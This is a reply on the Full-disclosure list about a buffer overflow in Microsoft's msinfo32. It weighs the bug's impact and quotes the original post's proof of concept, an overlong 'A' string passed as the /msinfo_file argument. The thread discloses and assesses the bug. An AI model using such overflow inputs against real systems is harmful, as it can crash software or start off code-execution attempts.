RE: MSInfo Buffer Overflow

["joe" <mvp () joeware net>]

I think at best you could succeed in crashing the process or executing code
in the context of the user running msinfo32. 
 

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Subject: [Full-disclosure] MSInfo Buffer Overflow

<SNIP>

Although in tests this bug wouldnt lead to dangerous situations.. 
I wouldnt bet 100% on that !

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Proof Of Concept Code
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C:\Program Files\Common Files\Microsoft Shared\MSInfo>
msinfo32 /msinfo_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA

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